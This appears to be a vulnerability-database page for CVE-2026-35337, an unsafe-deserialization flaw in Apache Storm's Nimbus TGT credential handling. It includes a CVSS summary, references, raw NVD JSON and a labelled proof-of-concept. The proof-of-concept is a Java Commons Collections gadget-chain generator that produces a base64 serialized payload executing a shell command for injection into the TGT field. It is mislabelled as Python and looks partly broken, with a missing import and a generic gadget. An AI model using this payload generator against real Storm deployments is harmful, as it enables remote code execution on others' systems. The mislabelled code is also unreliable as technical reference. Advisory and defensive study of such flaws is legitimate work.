CVE-2026-35337

Description

Deserialization of Untrusted Data vulnerability in Apache Storm. Versions Affected: before 2.8.6. Description: When processing topology credentials submitted via the Nimbus Thrift API, Storm deserializes the base64-encoded TGT blob using ObjectInputStream.readObject() without any class filtering or validation. An authenticated user with topology submission rights could supply a crafted serialized object in the "TGT" credential field, leading to remote code execution in both the Nimbus and Worker JVMs. Mitigation: 2.x users should upgrade to 2.8.6. Users who cannot upgrade immediately should monkey-patch an ObjectInputFilter allow-list to ClientAuthUtils.deserializeKerberosTicket() restricting deserialized classes to javax.security.auth.kerberos.KerberosTicket and its known dependencies. A guide on how to do this is available in the release notes of 2.8.6. Credit: This issue was discovered by K.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:storm:*:*:*:*:*:*:*:* - VULNERABLE

Apache Storm < 2.8.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import org.apache.commons.collections.keyvalue.*;
import org.apache.commons.collections.comparators.*;

public class CVE_2026_35337_PoC {
    public static void main(String[] args) throws Exception {
        // Generate malicious payload using Commons Collections Gadget Chain
        String command = "touch /tmp/poc";
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object instance = constructor.newInstance(Retention.class, outerMap);

        // Serialize the object to Base64
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(instance);
        oos.flush();
        String base64Payload = Base64.getEncoder().encodeToString(bos.toByteArray());
        System.out.println("Generated Base64 Payload for TGT field:");
        System.out.println(base64Payload);
    }
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35337
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35337
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35337/
[4] VulDB https://vuldb.com/cve/CVE-2026-35337
[5] https://storm.apache.org/2026/04/12/storm286-released.html
[6] http://www.openwall.com/lists/oss-security/2026/04/12/6

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35337", "sourceIdentifier": "[email protected]", "published": "2026-04-13T10:16:11.610", "lastModified": "2026-04-15T15:54:21.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in Apache Storm.\n\nVersions Affected:\nbefore 2.8.6.\n\n\nDescription:\nWhen processing topology credentials submitted via the Nimbus Thrift API, Storm deserializes the base64-encoded TGT blob using ObjectInputStream.readObject() without any class filtering or validation. An authenticated user with topology submission rights could supply a crafted serialized object in the \"TGT\" credential field, leading to remote code execution in both the Nimbus and Worker JVMs.\n\n\nMitigation:\n2.x users should upgrade to 2.8.6.\n\n\nUsers who cannot upgrade immediately should monkey-patch an ObjectInputFilter allow-list to ClientAuthUtils.deserializeKerberosTicket() restricting deserialized classes to javax.security.auth.kerberos.KerberosTicket and its known dependencies. A guide on how to do this is available in the release notes of 2.8.6.\n\nCredit: This issue was discovered by K."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:storm:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.8.6", "matchCriteriaId": "52FAF08F-1AE5-4EC5-BBA7-393B88FC8AD1"}]}]}], "references": [{"url": "https://storm.apache.org/2026/04/12/storm286-released.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/12/6", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}